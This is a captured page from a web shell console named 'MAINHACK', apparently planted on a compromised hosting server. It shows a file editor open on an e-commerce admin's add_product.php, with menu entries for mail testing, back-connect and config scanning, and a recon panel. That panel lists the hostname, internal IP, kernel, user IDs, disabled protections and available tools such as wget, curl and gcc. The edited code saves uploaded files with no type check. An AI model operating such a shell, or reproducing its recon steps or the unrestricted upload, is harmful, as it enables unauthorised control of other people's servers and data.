[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: add_product.php
<?php include 'header.php' ?> <style> .col-md-6,.col-md-4,.col-md-3,.col-md-2,.col-md-5{ display:inline-block !important; } </style> <script> $(document).ready(function(){ $("#category").change(function() { var category = $('#category').val(); //alert(category); if(category=="Home Decor") { $("#home").show(); $("#other").hide(); if(category==""){ $("#display").html(""); } else { $.ajax({ type: "POST", url: "ajax_check.php", data: "category="+ category , success: function(html){ $("#display").html(html).show(); $("#loader").hide(); $("#scate").hide(); } }); } }else if(category=="Kids Wear"){ // alert(category); $("#home").hide(); $("#other").show(); $("#size_all").hide(); $("#kids_size").show(); if(category==""){ $("#display").html(""); } else { $.ajax({ type: "POST", url: "ajax_check.php", data: "category="+ category , success: function(html){ $("#display").html(html).show(); $("#loader").hide(); $("#scate").hide(); } }); } }else{ $("#home").hide(); $("#other").show(); if(category==""){ $("#display").html(""); } else { $.ajax({ type: "POST", url: "ajax_check.php", data: "category="+ category , success: function(html){ $("#display").html(html).show(); $("#loader").hide(); $("#scate").hide(); } }); } } }); }); </script> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="card-title">Add Product</div> </div> <form method="post" id="exampleValidation" data-toggle="validator" enctype="multipart/form-data" > <div class="card-body"> <div class="form-group"> <div class="col-md-3"> <label>Product Category</label> <select name="category" id="category" class="form-control" required> <option value="">Category</option> <?php $table1='category'; $stmt=$show->readAll($table1); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['category']."'";echo ">".$row['category']."</option>"; } } ?> </select> </div> <div class="col-md-2" id="subc"> <label>Product Sub Category</label> <select name="sub_cate" class="form-control" id="scate"> <option name="">Choose</option> </select> <div id="display"></div> </div> </div> <div id="other"> <div class="form-group"> <div class="col-md-3"> <label>Product Type</label> <select name="type" class="form-control"> <option value="">Type</option> <?php $stmt=$show->readAll('type'); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['type']."'";echo ">".$row['type']."</option>"; } } ?> </select> </div> <div class="col-md-2"> <label>Gender</label> <select name="gender" id="gender" class="form-control" required> <option value="">Gender</option> <option value="Male">Male</option> <option value="Female">Female</option> <option value="Unisex">Unisex</option> </select> </div> <div class="col-md-2"> <label>Color</label> <select name="color" class="form-control" id="scate"> <option value="">Color</option> <?php $stmt=$show->readAll('color'); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['color']."'";echo ">".$row['color']."</option>"; } } ?> </select> </div> <div class="col-md-2"> <label>Fabric</label> <select name="fabric" class="form-control" id="scate"> <option value="">Fabric</option> <?php $stmt=$show->readAll('fabric'); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['fabric']."'";echo ">".$row['fabric']."</option>"; } } ?> </select> </div> </div> <div class="form-group"> <div class="col-md-6"> <label>Size</label> <div id="size_all"> <input type="checkbox" name="size[]" value="XS"> XS <input type="checkbox" name="size[]" value="S"> S <input type="checkbox" name="size[]" value="M"> M <input type="checkbox" name="size[]" value="L"> L <input type="checkbox" name="size[]" value="XL"> XL <input type="checkbox" name="size[]" value="XXL"> XXL <input type="checkbox" name="size[]" value="XXXL"> XXXL <input type="checkbox" name="size[]" value="Free"> Free </div> <div id="kids_size" style="display:none;"> <?php $stmt=$show->readAll_clause('kids_size','order by id asc'); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<input type='checkbox' name='size[]' value='".$row['size']."'> <b>".$row['size']."</b> "; } } ?> </div> </div> <div class="col-md-5"> <label>Product Title</label> <input type="text" class="form-control" name="title" placeholder="Product Title"> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 ">Product Description <span class="required-label">*</span></label> <div class="col-lg-12 col-md-12 col-sm-12"> <textarea name="description" class="form-control" rows="10"></textarea> </div> </div> <div class="form-group"> <div class="col-md-4"> <label>Product Price</label> <input type="text" class="form-control" name="price" placeholder="Product Price"> </div> <div class="col-md-4"> <label>Product Discounted Price</label> <input type="text" class="form-control" name="discounted_price" placeholder="Product Discounted Price"> </div> </div> <div class="form-group"> <div class="col-md-4"> <label>Pictures</label> <input type="file" name="file[]"></td> </div> <div class="col-md-4"> <label>Pictures</label> <input type="file" name="file[]"></td> </div> <div class="col-md-4"> <label>Pictures</label> <input type="file" name="file[]"></td> </div> <div class="col-md-4"> <label>Pictures</label> <input type="file" name="file[]"></td> </div> </div> <div class="clearfix"></div> </div> <div id="home" style="display:none;"> <div class="form-group"> <div class="col-md-3"> <label>Product Type</label> <select name="type" class="form-control"> <option value="">Type</option> <?php $stmt=$show->readAll('type'); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['type']."'";echo ">".$row['type']."</option>"; } } ?> </select> </div> <div class="col-md-2"> <label>Material</label> <select name="color" class="form-control" id="scate"> <option value="">Color</option> <?php $stmt=$show->readAll('color'); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['color']."'";echo ">".$row['color']."</option>"; } } ?> </select> </div> <div class="col-md-2"> <label>Fabric</label> <select name="fabric" class="form-control" id="scate"> <option value="">Fabric</option> <?php $stmt=$show->readAll('fabric'); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['fabric']."'";echo ">".$row['fabric']."</option>"; } } ?> </select> </div> </div> <div class="form-group"> <div class="col-md-5"> <label>Size</label> <input type="checkbox" name="size[]" value="XS"> XS <input type="checkbox" name="size[]" value="S"> S <input type="checkbox" name="size[]" value="M"> M <input type="checkbox" name="size[]" value="L"> L <input type="checkbox" name="size[]" value="XL"> XL <input type="checkbox" name="size[]" value="XXL"> XXL <input type="checkbox" name="size[]" value="XXXL"> XXXL <input type="checkbox" name="size[]" value="Free"> Free </div> <div class="col-md-5"> <label>Product Title</label> <input type="text" class="form-control" name="title" placeholder="Product Title"> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 ">Product Description <span class="required-label">*</span></label> <div class="col-lg-12 col-md-12 col-sm-12"> <textarea name="description" class="form-control" rows="10"></textarea> </div> </div> <div class="form-group"> <div class="col-md-4"> <label>Product Price</label> <input type="text" class="form-control" name="price" placeholder="Product Price"> </div> <div class="col-md-4"> <label>Product Discounted Price</label> <input type="text" class="form-control" name="discounted_price" placeholder="Product Discounted Price"> </div> </div> <div class="form-group"> <div class="col-md-4"> <label>Pictures</label> <input type="file" name="file[]"></td> </div> <div class="col-md-4"> <label>Pictures</label> <input type="file" name="file[]"></td> </div> <div class="col-md-4"> <label>Pictures</label> <input type="file" name="file[]"></td> </div> <div class="col-md-4"> <label>Pictures</label> <input type="file" name="file[]"></td> </div> </div> <div class="clearfix"></div> </div> <div class="card-action"> <div class="row"> <div class="col-md-12"> <input class="btn btn-success" type="submit" name="sub" value="Submit"> </div> </div> </div> </div> </form> <?php if(isset($_POST['sub'])){ $uid=$show->getid('ids','PROD'); $price=$_POST['price']; $price1=$_POST['discounted_price']; $dis=$price-$price1; $total_dis=$dis/$price; $dis_per=$total_dis*100; $discount=round($dis_per); if(isset($_FILES['file'])){ foreach($_FILES['file']['tmp_name'] as $key=>$value){ $pic=$_FILES['file']['name'][$key]; $img1=uniqid().$pic; $data1 = array( 'product_id'=>$uid, 'img' => $img1, ); // print_r($data1); if(move_uploaded_file($_FILES['file']['tmp_name'][$key],"../product_img/".$img1)){ if($show->insert('product_img',$data1)){ echo "<script>sweetAlert('OK','Thank you for entering images','success');</script>"; } } } } $size=array(); if(isset($_POST['size'])){ foreach($_POST['size'] as $key=>$val){ $size[]=$_POST['size'][$key]; $data = array( 'product_id' => $uid, 'size' =>$val, ); $show->insert('product_size',$data); } } $total_size=implode(",",$size); $data = array( 'product_id' => $uid, 'title' => htmlspecialchars($_POST['title']), 'description' => htmlspecialchars($_POST['description']), 'price'=>htmlentities(strip_tags($_POST['price'])), 'discounted_price'=>htmlentities(strip_tags($_POST['discounted_price'])), 'category'=>htmlentities(strip_tags($_POST['category'])), 'size'=>htmlentities(strip_tags($total_size)), 'type'=>htmlentities(strip_tags($_POST['type'])), 'gender'=>htmlentities(strip_tags($_POST['gender'])), 'color'=>htmlentities(strip_tags($_POST['color'])), 'fabric'=>htmlentities(strip_tags($_POST['fabric'])), 'sub_category'=>htmlentities(strip_tags($_POST['sub_category'])), 'discount'=>$discount, 'trending'=>'Yes', ); //print_r($data); if($show->insert('product',$data)){ echo '<script> setTimeout(function() { swal({ title: "Thank You !", text: "Your product has been inserted", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; //echo "<script>swal('Thank you for Registration.');window.location.href='".$_SERVER['request_uri']."';</script>"; } } ?> </div> </div> </div> </div> </div> </div> <?php include 'footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.54 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619